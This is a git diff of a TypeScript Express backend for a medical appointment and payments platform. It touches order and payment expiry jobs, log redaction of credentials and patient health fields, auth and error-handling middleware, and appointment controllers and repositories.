windowHours: number = config.orders.confirmationWindowHours, +): Promise<{ confirmedCount: number }> { + const threshold = new Date(Date.now() - windowHours * 60 * 60 * 1000); + + const eligibleOrders = await prisma.order.findMany({ + where: { + status: 'fulfilled', + confirmed: false, + disputed: false, + fulfilledAt: { + lt: threshold, + }, + }, + select: { + id: true, + }, + }); + + if (eligibleOrders.length === 0) { + return { confirmedCount: 0 }; + } + + let confirmedCount = 0; + + for (const eligible of eligibleOrders) { + await prisma.$transaction(async (tx) => { + const updated = await tx.order.updateMany({ + where: { + id: eligible.id, + status: 'fulfilled', + confirmed: false, + disputed: false, + fulfilledAt: { + lt: threshold, + }, + }, + data: { + confirmed: true, + confirmedAt: new Date(), + confirmationSource: 'timeout', + }, + }); + + if (updated.count > 0) { + confirmedCount += updated.count; + await record(tx, SYSTEM_ACTOR, { + entityType: 'Order', + entityId: eligible.id, + action: 'order.receipt_confirmed', + fromState: 'fulfilled', + toState: 'confirmed', + metadata: { confirmationSource: 'timeout' }, + }); + } + }); + } + + return { confirmedCount }; +} + +export function startOrderExpiryJob(): () => void { + const run = async () => { + try { + const { confirmedCount } = await expireUnconfirmedOrders(); + if (confirmedCount > 0) { + // eslint-disable-next-line no-console + console.log(`[jobs] auto-confirmed ${confirmedCount} order(s) past confirmation window`); + } + } catch (err) { + // eslint-disable-next-line no-console + console.error('[jobs] order expiry job failed:', err instanceof Error ? err.name : typeof err); + } + }; + + const timer = setInterval(run, config.orders.expiryIntervalSeconds * 1000); + timer.unref(); + + // Pick up any pending unconfirmed orders on startup + void run(); + + return () => { + clearInterval(timer); + }; +} diff --git a/backend/src/jobs/payment-intents.ts b/backend/src/jobs/payment-intents.ts index 227cab59..48587af5 100644 --- a/backend/src/jobs/payment-intents.ts +++ b/backend/src/jobs/payment-intents.ts @@ -1,42 +1,42 @@ -// Payment-intent jobs (Phase 5.5, issue #80). Plain interval, per -// ARCHITECTURE_ESSENTIALS.md ("keep jobs simple until a real job exists β€” -// don't pre-install a queue"). Started from src/server.ts only, so test -// suites that build the app never start a timer; tests drive the service -// function directly. -// -// The transition itself is a conditional UPDATE in the payments module -// (`awaiting_signature -> created` only where the prepared window has -// passed), so overlapping runs and multiple processes are safe. Expiry is a -// normal case: the patient simply prepares again. -import { config } from '../config'; -import { expireStalePreparedIntents } from '../modules/payments/services'; - -export function startPaymentIntentJobs(): () => void { - let running = false; - const sweep = () => { - if (running) return; - running = true; - void expireStalePreparedIntents() - .then(({ expired }) => { - if (expired > 0) { - // eslint-disable-next-line no-console - console.log(`[jobs] expired ${expired} stale prepared payment intent(s)`); - } - }) - .catch((err) => { - // Error type only: a database error message can echo row data. - // eslint-disable-next-line no-console - console.error(`[jobs] payment-intent expiry sweep failed: ${err instanceof Error ? err.name : typeof err}`); - }) - .finally(() => { - running = false; - }); - }; - - const timer = setInterval(sweep, config.payments.prepareExpirySweepIntervalSeconds * 1000); - timer.unref(); - // Pick up anything already past its window on startup. - sweep(); - - return () => clearInterval(timer); -} +// Payment-intent jobs (Phase 5.5, issue #80). Plain interval, per +// ARCHITECTURE_ESSENTIALS.md ("keep jobs simple until a real job exists β€” +// don't pre-install a queue"). Started from src/server.ts only, so test +// suites that build the app never start a timer; tests drive the service +// function directly. +// +// The transition itself is a conditional UPDATE in the payments module +// (`awaiting_signature -> created` only where the prepared window has +// passed), so overlapping runs and multiple processes are safe. Expiry is a +// normal case: the patient simply prepares again. +import { config } from '../config'; +import { expireStalePreparedIntents } from '../modules/payments/services'; + +export function startPaymentIntentJobs(): () => void { + let running = false; + const sweep = () => { + if (running) return; + running = true; + void expireStalePreparedIntents() + .then(({ expired }) => { + if (expired > 0) { + // eslint-disable-next-line no-console + console.log(`[jobs] expired ${expired} stale prepared payment intent(s)`); + } + }) + .catch((err) => { + // Error type only: a database error message can echo row data. + // eslint-disable-next-line no-console + console.error(`[jobs] payment-intent expiry sweep failed: ${err instanceof Error ? err.name : typeof err}`); + }) + .finally(() => { + running = false; + }); + }; + + const timer = setInterval(sweep, config.payments.prepareExpirySweepIntervalSeconds * 1000); + timer.unref(); + // Pick up anything already past its window on startup. + sweep(); + + return () => clearInterval(timer); +} diff --git a/backend/src/jobs/referral-expiry.ts b/backend/src/jobs/referral-expiry.ts index a37fbb2d..de0cff66 100644 --- a/backend/src/jobs/referral-expiry.ts +++ b/backend/src/jobs/referral-expiry.ts @@ -1,35 +1,35 @@ -// Referral expiry sweep (Phase 3, issue #8). A plain interval, per -// ARCHITECTURE_ESSENTIALS.md ("keep jobs simple until a real job exists β€” -// don't pre-install a queue"); move it onto a shared job runner if one is -// ever introduced. Started from src/server.ts only, so test suites that build -// the app never start a timer. The state change is one conditional UPDATE in -// the referrals module, so running more than one process is safe. -import { config } from '../config'; -import { expireStaleReferrals } from '../modules/referrals/services'; - -export function startReferralExpiryJob(): () => void { - let running = false; - const run = () => { - if (running) return; - running = true; - void expireStaleReferrals() - .then(({ expired }) => { - if (expired > 0) { - // Count only β€” never ids or notes. - // eslint-disable-next-line no-console - console.log(`[jobs] referral expiry: ${expired} expired`); - } - }) - .catch((err) => { - // eslint-disable-next-line no-console - console.error(`[jobs] referral expiry failed: ${err instanceof Error ? err.name : typeof err}`); - }) - .finally(() => { - running = false; - }); - }; - run(); // catch up immediately after a restart, then on the interval - const timer = setInterval(run, config.referrals.expirySweepIntervalSeconds * 1000); - timer.unref(); - return () => clearInterval(timer); -} +// Referral expiry sweep (Phase 3, issue #8). A plain interval, per +// ARCHITECTURE_ESSENTIALS.md ("keep jobs simple until a real job exists β€” +// don't pre-install a queue"); move it onto a shared job runner if one is +// ever introduced. Started from src/server.ts only, so test suites that build +// the app never start a timer. The state change is one conditional UPDATE in +// the referrals module, so running more than one process is safe. +import { config } from '../config'; +import { expireStaleReferrals } from '../modules/referrals/services'; + +export function startReferralExpiryJob(): () => void { + let running = false; + const run = () => { + if (running) return; + running = true; + void expireStaleReferrals() + .then(({ expired }) => { + if (expired > 0) { + // Count only β€” never ids or notes. + // eslint-disable-next-line no-console + console.log(`[jobs] referral expiry: ${expired} expired`); + } + }) + .catch((err) => { + // eslint-disable-next-line no-console + console.error(`[jobs] referral expiry failed: ${err instanceof Error ? err.name : typeof err}`); + }) + .finally(() => { + running = false; + }); + }; + run(); // catch up immediately after a restart, then on the interval + const timer = setInterval(run, config.referrals.expirySweepIntervalSeconds * 1000); + timer.unref(); + return () => clearInterval(timer); +} diff --git a/backend/src/logger.ts b/backend/src/logger.ts index 65b41758..f6c97251 100644 --- a/backend/src/logger.ts +++ b/backend/src/logger.ts @@ -1,86 +1,86 @@ -// Structured JSON logging (Phase 9 β€” issue #30, PR #189). -// -// One `pino` logger for the process; request paths get a child logger -// carrying the request id (see middleware/request-id.ts). Log level is -// per-environment via `config.log.level` (`LOG_LEVEL` wins; `silent` under -// NODE_ENV=test so captured output stays readable; `info` in production). -// -// Redaction is configured once, here, and applies to every line the -// process emits: auth headers, cookies, passwords, tokens, and the PHI -// field paths this platform actually holds (PRD Β§7 β€” patient intake and -// clinical free text must never reach a log line). Censor is the literal -// `[REDACTED]` so a drain can tell a redacted field from an absent one. -import pino from 'pino'; -import { config } from './config'; - -/** Redaction paths (pino `redact.paths` syntax). Top-level keys are listed - * bare and again with a `*.key` wildcard so a sensitive field is censored - * at any nesting depth, not only at the root. Keep in sync with the PHI - * field names in ARCHITECTURE.md Β§4 β€” a new clinical free-text column - * belongs here. */ -export const REDACT_PATHS = [ - // Credentials. - 'password', '*.password', - 'passwordHash', '*.passwordHash', - 'token', '*.token', - 'accessToken', '*.accessToken', - 'refreshToken', '*.refreshToken', - 'csrfToken', '*.csrfToken', - // Request credentials as headers (pino redacts exact paths, so these - // are spelled out rather than wildcarded). - 'req.headers.authorization', - 'req.headers.cookie', - 'req.headers["set-cookie"]', - // PHI field paths (PRD Β§7). - 'intakeNotes', '*.intakeNotes', - 'symptoms', '*.symptoms', - 'diagnosis', '*.diagnosis', - 'allergies', '*.allergies', - 'medications', '*.medications', - 'dateOfBirth', '*.dateOfBirth', - 'ssn', '*.ssn', -]; - -const MAX_SERIALISER_DEPTH = 8; - -/** Deep-copies a value, converting every BigInt to its decimal string. - * Payment amounts are raw stroops (BigInt), and a bare JSON.stringify of - * one throws β€” which would take a log line (and in a request path, the - * response) down with it. */ -function stringifyBigInts(value: unknown, depth = 0): unknown { - if (typeof value === 'bigint') return value.toString(); - if (depth >= MAX_SERIALISER_DEPTH) return value; - if (value instanceof Date || value === null || typeof value !== 'object') return value; - if (Array.isArray(value)) return value.map((item) => stringifyBigInts(item, depth + 1)); - const out: Record = {}; - for (const [key, entry] of Object.entries(value as Record)) { - out[key] = stringifyBigInts(entry, depth + 1); - } - return out; -} - -/** Serialisers for the keys that can legitimately carry BigInt values. - * pino applies a serialiser wherever the key appears, at any depth. */ -export const bigIntSerialiser = { - amount: stringifyBigInts, - amountStroops: stringifyBigInts, - totalStroops: stringifyBigInts, - stroops: stringifyBigInts, -}; - -export const loggerOptions: pino.LoggerOptions = { - level: config.log.level, - redact: { paths: REDACT_PATHS, censor: '[REDACTED]' }, - serializers: bigIntSerialiser, -}; - -/** The process-wide logger. Non-request code (jobs, startup) logs through - * this; request code gets a child via `requestLogger`. */ -export const logger = pino(loggerOptions); - -/** Request-scoped child logger: every line it emits carries the request id - * that `X-Request-Id` responses and `AuditEvent` rows also carry, so one - * id correlates an HTTP request, its logs and its audit trail. */ -export function requestLogger(bindings: { requestId: string }): pino.Logger { - return logger.child({ requestId: bindings.requestId }); -} +// Structured JSON logging (Phase 9 β€” issue #30, PR #189). +// +// One `pino` logger for the process; request paths get a child logger +// carrying the request id (see middleware/request-id.ts). Log level is +// per-environment via `config.log.level` (`LOG_LEVEL` wins; `silent` under +// NODE_ENV=test so captured output stays readable; `info` in production). +// +// Redaction is configured once, here, and applies to every line the +// process emits: auth headers, cookies, passwords, tokens, and the PHI +// field paths this platform actually holds (PRD Β§7 β€” patient intake and +// clinical free text must never reach a log line). Censor is the literal +// `[REDACTED]` so a drain can tell a redacted field from an absent one. +import pino from 'pino'; +import { config } from './config'; + +/** Redaction paths (pino `redact.paths` syntax). Top-level keys are listed + * bare and again with a `*.key` wildcard so a sensitive field is censored + * at any nesting depth, not only at the root. Keep in sync with the PHI + * field names in ARCHITECTURE.md Β§4 β€” a new clinical free-text column + * belongs here. */ +export const REDACT_PATHS = [ + // Credentials. + 'password', '*.password', + 'passwordHash', '*.passwordHash', + 'token', '*.token', + 'accessToken', '*.accessToken', + 'refreshToken', '*.refreshToken', + 'csrfToken', '*.csrfToken', + // Request credentials as headers (pino redacts exact paths, so these + // are spelled out rather than wildcarded). + 'req.headers.authorization', + 'req.headers.cookie', + 'req.headers["set-cookie"]', + // PHI field paths (PRD Β§7). + 'intakeNotes', '*.intakeNotes', + 'symptoms', '*.symptoms', + 'diagnosis', '*.diagnosis', + 'allergies', '*.allergies', + 'medications', '*.medications', + 'dateOfBirth', '*.dateOfBirth', + 'ssn', '*.ssn', +]; + +const MAX_SERIALISER_DEPTH = 8; + +/** Deep-copies a value, converting every BigInt to its decimal string. + * Payment amounts are raw stroops (BigInt), and a bare JSON.stringify of + * one throws β€” which would take a log line (and in a request path, the + * response) down with it. */ +function stringifyBigInts(value: unknown, depth = 0): unknown { + if (typeof value === 'bigint') return value.toString(); + if (depth >= MAX_SERIALISER_DEPTH) return value; + if (value instanceof Date || value === null || typeof value !== 'object') return value; + if (Array.isArray(value)) return value.map((item) => stringifyBigInts(item, depth + 1)); + const out: Record = {}; + for (const [key, entry] of Object.entries(value as Record)) { + out[key] = stringifyBigInts(entry, depth + 1); + } + return out; +} + +/** Serialisers for the keys that can legitimately carry BigInt values. + * pino applies a serialiser wherever the key appears, at any depth. */ +export const bigIntSerialiser = { + amount: stringifyBigInts, + amountStroops: stringifyBigInts, + totalStroops: stringifyBigInts, + stroops: stringifyBigInts, +}; + +export const loggerOptions: pino.LoggerOptions = { + level: config.log.level, + redact: { paths: REDACT_PATHS, censor: '[REDACTED]' }, + serializers: bigIntSerialiser, +}; + +/** The process-wide logger. Non-request code (jobs, startup) logs through + * this; request code gets a child via `requestLogger`. */ +export const logger = pino(loggerOptions); + +/** Request-scoped child logger: every line it emits carries the request id + * that `X-Request-Id` responses and `AuditEvent` rows also carry, so one + * id correlates an HTTP request, its logs and its audit trail. */ +export function requestLogger(bindings: { requestId: string }): pino.Logger { + return logger.child({ requestId: bindings.requestId }); +} diff --git a/backend/src/middleware/auth.ts b/backend/src/middleware/auth.ts index 34a66d59..191344db 100644 --- a/backend/src/middleware/auth.ts +++ b/backend/src/middleware/auth.ts @@ -1,67 +1,67 @@ -import type { NextFunction, Request, Response } from 'express'; -import { assertActiveSession, assertEmailVerified, verifyAccessToken } from '../modules/auth/services'; -import { HttpError } from '../http-error'; -import type { Role } from '@prisma/client'; - -declare global { - // eslint-disable-next-line @typescript-eslint/no-namespace - namespace Express { - interface Request { - user?: { id: string; role: Role; locale?: string }; - } - } -} - -/** Verifies the `Authorization: Bearer ` header and attaches - * `req.user`. - * - * Throws 401 if missing/invalid/expired. Beyond expiry, `assertActiveSession` - * is a database read per request that rejects a deactivated account and any - * token minted before that account's sessions were invalidated (Phase 8, - * issue #39) β€” without it, a deactivated user's access token would keep - * working for the rest of its 15-minute TTL. This is not a general - * revocation list; that is still issue #18. */ -export async function authenticate(req: Request, _res: Response, next: NextFunction) { - const header = req.headers.authorization; - if (!header?.startsWith('Bearer ')) { - throw new HttpError(401, 'Missing or malformed Authorization header.'); - } - - let payload; - try { - payload = verifyAccessToken(header.slice('Bearer '.length)); - } catch { - throw new HttpError(401, 'Invalid or expired access token.'); - } - - await assertActiveSession(payload.sub, payload.iat); - req.user = { id: payload.sub, role: payload.role, locale: payload.locale }; - next(); -} - -/** Must run after `authenticate`. Rejects with `403 EMAIL_NOT_VERIFIED` - * (Phase 8, issue #34) when the caller's own address hasn't been verified. - * Applied only to mutations that need a trustworthy contact address β€” - * booking and payments β€” never to login/browsing. - * - * This is a DB read, so verifying the address in another tab unblocks the - * caller immediately, instead of after their access token's 15-minute TTL. - * It is deliberately *not* the doctor/facility `verificationStatus` gate: - * that is a separate, manual credential review (Β§4.1). */ -export async function requireVerifiedEmail(req: Request, _res: Response, next: NextFunction) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - await assertEmailVerified(req.user.id); - next(); -} - -/** Must run after `authenticate`. Rejects with 403 if the authenticated - * user's role isn't in the allowed set. */ -export function requireRole(...allowedRoles: Role[]) { - return (req: Request, _res: Response, next: NextFunction) => { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - if (!allowedRoles.includes(req.user.role)) { - throw new HttpError(403, 'You do not have permission to perform this action.'); - } - next(); - }; -} +import type { NextFunction, Request, Response } from 'express'; +import { assertActiveSession, assertEmailVerified, verifyAccessToken } from '../modules/auth/services'; +import { HttpError } from '../http-error'; +import type { Role } from '@prisma/client'; + +declare global { + // eslint-disable-next-line @typescript-eslint/no-namespace + namespace Express { + interface Request { + user?: { id: string; role: Role; locale?: string }; + } + } +} + +/** Verifies the `Authorization: Bearer ` header and attaches + * `req.user`. + * + * Throws 401 if missing/invalid/expired. Beyond expiry, `assertActiveSession` + * is a database read per request that rejects a deactivated account and any + * token minted before that account's sessions were invalidated (Phase 8, + * issue #39) β€” without it, a deactivated user's access token would keep + * working for the rest of its 15-minute TTL. This is not a general + * revocation list; that is still issue #18. */ +export async function authenticate(req: Request, _res: Response, next: NextFunction) { + const header = req.headers.authorization; + if (!header?.startsWith('Bearer ')) { + throw new HttpError(401, 'Missing or malformed Authorization header.'); + } + + let payload; + try { + payload = verifyAccessToken(header.slice('Bearer '.length)); + } catch { + throw new HttpError(401, 'Invalid or expired access token.'); + } + + await assertActiveSession(payload.sub, payload.iat); + req.user = { id: payload.sub, role: payload.role, locale: payload.locale }; + next(); +} + +/** Must run after `authenticate`. Rejects with `403 EMAIL_NOT_VERIFIED` + * (Phase 8, issue #34) when the caller's own address hasn't been verified. + * Applied only to mutations that need a trustworthy contact address β€” + * booking and payments β€” never to login/browsing. + * + * This is a DB read, so verifying the address in another tab unblocks the + * caller immediately, instead of after their access token's 15-minute TTL. + * It is deliberately *not* the doctor/facility `verificationStatus` gate: + * that is a separate, manual credential review (Β§4.1). */ +export async function requireVerifiedEmail(req: Request, _res: Response, next: NextFunction) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + await assertEmailVerified(req.user.id); + next(); +} + +/** Must run after `authenticate`. Rejects with 403 if the authenticated + * user's role isn't in the allowed set. */ +export function requireRole(...allowedRoles: Role[]) { + return (req: Request, _res: Response, next: NextFunction) => { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + if (!allowedRoles.includes(req.user.role)) { + throw new HttpError(403, 'You do not have permission to perform this action.'); + } + next(); + }; +} diff --git a/backend/src/middleware/error-handler.ts b/backend/src/middleware/error-handler.ts index 18de031f..5e346db2 100644 --- a/backend/src/middleware/error-handler.ts +++ b/backend/src/middleware/error-handler.ts @@ -1,46 +1,46 @@ -import type { NextFunction, Request, Response } from 'express'; -import { ZodError } from 'zod'; -import { Prisma } from '@prisma/client'; -import { HttpError } from '../http-error'; -import type { Logger } from 'pino'; -import { logger as rootLogger } from '../logger'; -import { localizedErrorMessage, resolveLocale } from '../i18n'; - -// docforum-web's api-client.ts assumes an error envelope of -// `{ message: string }` (documented as unconfirmed there) β€” this is the -// implementation that assumption is checked against. Keep them in sync. -export function errorHandler(err: unknown, req: Request, res: Response, _next: NextFunction) { - const requestLogger: Logger = - (req as Request & { log?: Logger }).log ?? rootLogger; - - if (err instanceof HttpError) { - // `code` is only present when the thrower supplied one β€” the envelope - // for every existing error is unchanged (`{ message }`). - if (err.status >= 500) { - requestLogger.error({ err }, 'Request failed'); - } else { - requestLogger.warn({ err }, 'Request rejected'); - } - const locale = resolveLocale(req.user?.locale, req.headers['accept-language']); - const message = localizedErrorMessage(locale, err.code, err.message); - res.status(err.status).json(err.code ? { message, code: err.code } : { message }); - return; - } - - if (err instanceof ZodError) { - requestLogger.warn({ err }, 'Request validation failed'); - res.status(400).json({ message: err.issues.map((issue) => issue.message).join('; ') }); - return; - } - - if (err instanceof Prisma.PrismaClientKnownRequestError && err.code === 'P2002') { - requestLogger.warn({ err }, 'Unique constraint violation'); - res.status(409).json({ message: 'A record with this value already exists.' }); - return; - } - - // Log the full error (including stack) server-side only. The response - // body is the safe envelope and never leaks internal details. - requestLogger.error({ err }, 'Unhandled error'); - res.status(500).json({ message: 'Internal server error.' }); -} +import type { NextFunction, Request, Response } from 'express'; +import { ZodError } from 'zod'; +import { Prisma } from '@prisma/client'; +import { HttpError } from '../http-error'; +import type { Logger } from 'pino'; +import { logger as rootLogger } from '../logger'; +import { localizedErrorMessage, resolveLocale } from '../i18n'; + +// docforum-web's api-client.ts assumes an error envelope of +// `{ message: string }` (documented as unconfirmed there) β€” this is the +// implementation that assumption is checked against. Keep them in sync. +export function errorHandler(err: unknown, req: Request, res: Response, _next: NextFunction) { + const requestLogger: Logger = + (req as Request & { log?: Logger }).log ?? rootLogger; + + if (err instanceof HttpError) { + // `code` is only present when the thrower supplied one β€” the envelope + // for every existing error is unchanged (`{ message }`). + if (err.status >= 500) { + requestLogger.error({ err }, 'Request failed'); + } else { + requestLogger.warn({ err }, 'Request rejected'); + } + const locale = resolveLocale(req.user?.locale, req.headers['accept-language']); + const message = localizedErrorMessage(locale, err.code, err.message); + res.status(err.status).json(err.code ? { message, code: err.code } : { message }); + return; + } + + if (err instanceof ZodError) { + requestLogger.warn({ err }, 'Request validation failed'); + res.status(400).json({ message: err.issues.map((issue) => issue.message).join('; ') }); + return; + } + + if (err instanceof Prisma.PrismaClientKnownRequestError && err.code === 'P2002') { + requestLogger.warn({ err }, 'Unique constraint violation'); + res.status(409).json({ message: 'A record with this value already exists.' }); + return; + } + + // Log the full error (including stack) server-side only. The response + // body is the safe envelope and never leaks internal details. + requestLogger.error({ err }, 'Unhandled error'); + res.status(500).json({ message: 'Internal server error.' }); +} diff --git a/backend/src/middleware/request-id.ts b/backend/src/middleware/request-id.ts index 8ad794a1..6be69305 100644 --- a/backend/src/middleware/request-id.ts +++ b/backend/src/middleware/request-id.ts @@ -1,49 +1,49 @@ -// Request ids (Phase 8, issue #43). Every request gets one, so an audit -// event can be tied back to the HTTP request (and its logs) that caused it. -// An inbound `X-Request-Id` (e.g. from Render's proxy or a client) is kept -// when it's a sane token; otherwise a fresh UUID is minted. Echoed back in -// the response header either way. -// -// Phase 9, issue #46: this middleware also attaches a request-scoped -// child logger to `req.log`, so controllers and the error handler can log with -// the request id attached without having to pluck it out of the request -// themselves. -import type { NextFunction, Request, Response } from 'express'; -import { randomUUID } from 'node:crypto'; -import type { AuditActor } from '../modules/audit/services'; -import type { Logger } from 'pino'; -import { requestLogger } from '../logger'; - -declare global { - // eslint-disable-next-line @typescript-eslint/no-namespace - namespace Express { - interface Request { - requestId?: string; - // Request-scoped child logger (Phase 9, issue #46). Always set by - // the requestId middleware below. - log?: Logger; - } - } -} - -export const REQUEST_ID_HEADER = 'x-request-id'; - -// Bounded charset and length: the value is stored and logged, so it must -// not be a vehicle for arbitrary client data. -const ACCEPTABLE_REQUEST_ID = /^[A-Za-z0-9._:-]{8,128}$/; - -export function requestId(req: Request, res: Response, next: NextFunction) { - const inbound = req.get(REQUEST_ID_HEADER); - const id = inbound && ACCEPTABLE_REQUEST_ID.test(inbound) ? inbound : randomUUID(); - req.requestId = id; - req.log = requestLogger({ requestId: id }); - res.set('X-Request-Id', id); - next(); -} - -/** The audit actor for an authenticated request: who, in which role, under - * which request id. Controllers pass this into the service whose state - * change is being audited. */ -export function auditActor(req: Request): AuditActor { - return { userId: req.user?.id ?? null, role: req.user?.role ?? null, requestId: req.requestId ?? null }; -} +// Request ids (Phase 8, issue #43). Every request gets one, so an audit +// event can be tied back to the HTTP request (and its logs) that caused it. +// An inbound `X-Request-Id` (e.g. from Render's proxy or a client) is kept +// when it's a sane token; otherwise a fresh UUID is minted. Echoed back in +// the response header either way. +// +// Phase 9, issue #46: this middleware also attaches a request-scoped +// child logger to `req.log`, so controllers and the error handler can log with +// the request id attached without having to pluck it out of the request +// themselves. +import type { NextFunction, Request, Response } from 'express'; +import { randomUUID } from 'node:crypto'; +import type { AuditActor } from '../modules/audit/services'; +import type { Logger } from 'pino'; +import { requestLogger } from '../logger'; + +declare global { + // eslint-disable-next-line @typescript-eslint/no-namespace + namespace Express { + interface Request { + requestId?: string; + // Request-scoped child logger (Phase 9, issue #46). Always set by + // the requestId middleware below. + log?: Logger; + } + } +} + +export const REQUEST_ID_HEADER = 'x-request-id'; + +// Bounded charset and length: the value is stored and logged, so it must +// not be a vehicle for arbitrary client data. +const ACCEPTABLE_REQUEST_ID = /^[A-Za-z0-9._:-]{8,128}$/; + +export function requestId(req: Request, res: Response, next: NextFunction) { + const inbound = req.get(REQUEST_ID_HEADER); + const id = inbound && ACCEPTABLE_REQUEST_ID.test(inbound) ? inbound : randomUUID(); + req.requestId = id; + req.log = requestLogger({ requestId: id }); + res.set('X-Request-Id', id); + next(); +} + +/** The audit actor for an authenticated request: who, in which role, under + * which request id. Controllers pass this into the service whose state + * change is being audited. */ +export function auditActor(req: Request): AuditActor { + return { userId: req.user?.id ?? null, role: req.user?.role ?? null, requestId: req.requestId ?? null }; +} diff --git a/backend/src/modules/appointments/controllers/index.ts b/backend/src/modules/appointments/controllers/index.ts index 6a0004dc..2bf96f4d 100644 --- a/backend/src/modules/appointments/controllers/index.ts +++ b/backend/src/modules/appointments/controllers/index.ts @@ -1,43 +1,43 @@ -import type { Request, Response } from 'express'; -import * as appointmentsService from '../services'; -import { bookSlotSchema, listMineQuerySchema, updateStatusSchema } from '../validation'; -import { HttpError } from '../../../http-error'; -import { auditActor } from '../../../middleware/request-id'; -import { getParam } from '../../../request-params'; - -export async function book(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - const { availabilitySlotId, patientProfileId } = bookSlotSchema.parse(req.body); - const appointment = await appointmentsService.bookSlot(auditActor(req), availabilitySlotId, patientProfileId); - res.status(201).json(appointment); -} - -export async function listMine(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - const { patientProfileId } = listMineQuerySchema.parse(req.query); - const appointments = await appointmentsService.listMyAppointments(req.user.id, patientProfileId); - res.status(200).json(appointments); -} - -export async function listDoctorToday(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - const appointments = await appointmentsService.listDoctorAppointmentsToday(req.user.id); - res.status(200).json(appointments); -} - -export async function updateStatus(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - const { status } = updateStatusSchema.parse(req.body); - const appointment = await appointmentsService.updateStatusByDoctor( - req.user.id, - getParam(req, 'appointmentId'), - status, - ); - res.status(200).json(appointment); -} - -export async function cancelMine(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - const appointment = await appointmentsService.cancelByPatient(req.user.id, getParam(req, 'appointmentId')); - res.status(200).json(appointment); -} +import type { Request, Response } from 'express'; +import * as appointmentsService from '../services'; +import { bookSlotSchema, listMineQuerySchema, updateStatusSchema } from '../validation'; +import { HttpError } from '../../../http-error'; +import { auditActor } from '../../../middleware/request-id'; +import { getParam } from '../../../request-params'; + +export async function book(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + const { availabilitySlotId, patientProfileId } = bookSlotSchema.parse(req.body); + const appointment = await appointmentsService.bookSlot(auditActor(req), availabilitySlotId, patientProfileId); + res.status(201).json(appointment); +} + +export async function listMine(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + const { patientProfileId } = listMineQuerySchema.parse(req.query); + const appointments = await appointmentsService.listMyAppointments(req.user.id, patientProfileId); + res.status(200).json(appointments); +} + +export async function listDoctorToday(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + const appointments = await appointmentsService.listDoctorAppointmentsToday(req.user.id); + res.status(200).json(appointments); +} + +export async function updateStatus(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + const { status } = updateStatusSchema.parse(req.body); + const appointment = await appointmentsService.updateStatusByDoctor( + req.user.id, + getParam(req, 'appointmentId'), + status, + ); + res.status(200).json(appointment); +} + +export async function cancelMine(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + const appointment = await appointmentsService.cancelByPatient(req.user.id, getParam(req, 'appointmentId')); + res.status(200).json(appointment); +} diff --git a/backend/src/modules/appointments/intake.ts b/backend/src/modules/appointments/intake.ts index 09c516b1..dfb2dfbd 100644 --- a/backend/src/modules/appointments/intake.ts +++ b/backend/src/modules/appointments/intake.ts @@ -1,2 +1,2 @@ -export type IntakePayload={symptoms:string;allergies?:string[];medications?:string[];notes?:string}; -export function validateIntake(value:unknown):IntakePayload{if(!value||typeof value!=="object")throw new Error("intake is required before booking");const v=value as Record;if(typeof v.symptoms!=="string"||!v.symptoms.trim())throw new Error("intake.symptoms is required");if(v.allergies!==undefined&&!Array.isArray(v.allergies))throw new Error("intake.allergies must be an array");return {symptoms:v.symptoms.trim(),allergies:v.allergies as string[]|undefined,medications:v.medications as string[]|undefined,notes:typeof v.notes==="string"?v.notes.trim():undefined};} +export type IntakePayload={symptoms:string;allergies?:string[];medications?:string[];notes?:string}; +export function validateIntake(value:unknown):IntakePayload{if(!value||typeof value!=="object")throw new Error("intake is required before booking");const v=value as Record;if(typeof v.symptoms!=="string"||!v.symptoms.trim())throw new Error("intake.symptoms is required");if(v.allergies!==undefined&&!Array.isArray(v.allergies))throw new Error("intake.allergies must be an array");return {symptoms:v.symptoms.trim(),allergies:v.allergies as string[]|undefined,medications:v.medications as string[]|undefined,notes:typeof v.notes==="string"?v.notes.trim():undefined};} diff --git a/backend/src/modules/appointments/repositories/index.ts b/backend/src/modules/appointments/repositories/index.ts index 7f7316af..d134bd95 100644 --- a/backend/src/modules/appointments/repositories/index.ts +++ b/backend/src/modules/appointments/repositories/index.ts @@ -1,89 +1,89 @@ -import { prisma } from '../../../db/prisma-client'; -import type { AppointmentStatus, Prisma } from '@prisma/client'; - -type DbClient = typeof prisma | Prisma.TransactionClient; - -export function createAppointment( - db: DbClient, - data: { - patientProfileId: string; - doctorProfileId: string; - availabilitySlotId: string; - origin?: 'direct_booking' | 'referral'; - referralId?: string; - }, -) { - return db.appointment.create({ data }); -} - -/** One keyset page of a patient's appointments, oldest first (patient data - * export, issue #40). Appointment columns only β€” slot/doctor details come - * from those modules' services, not a join. */ -export function findAppointmentsPageForPatient(patientProfileId: string, cursor: string | undefined, take: number) { - return prisma.appointment.findMany({ - where: { patientProfileId }, - orderBy: [{ createdAt: 'asc' }, { id: 'asc' }], - take, - ...(cursor ? { cursor: { id: cursor }, skip: 1 } : {}), - }); -} - -export function findAppointmentsForPatient(patientProfileId: string) { - return prisma.appointment.findMany({ - where: { patientProfileId }, - include: { availabilitySlot: true }, - orderBy: { createdAt: 'desc' }, - }); -} - -/** Today's scheduled appointments for one doctor's own calendar. The - * caller supplies the server-local day bounds; no patient-module data is - * joined here, preserving the module boundary. */ -export function findAppointmentsForDoctorOnDay(doctorProfileId: string, start: Date, end: Date) { - return prisma.appointment.findMany({ - where: { - doctorProfileId, - status: 'scheduled', - availabilitySlot: { is: { startTime: { gte: start, lt: end } } }, - }, - include: { availabilitySlot: true }, - orderBy: [{ availabilitySlot: { startTime: 'asc' } }, { id: 'asc' }], - }); -} - -/** Minimal appointment context for a doctor-owned consultation. */ -export function findAppointmentDoctorContext(id: string) { - return prisma.appointment.findUnique({ where: { id }, include: { doctorProfile: { select: { id: true, userId: true, verificationStatus: true } } } }); 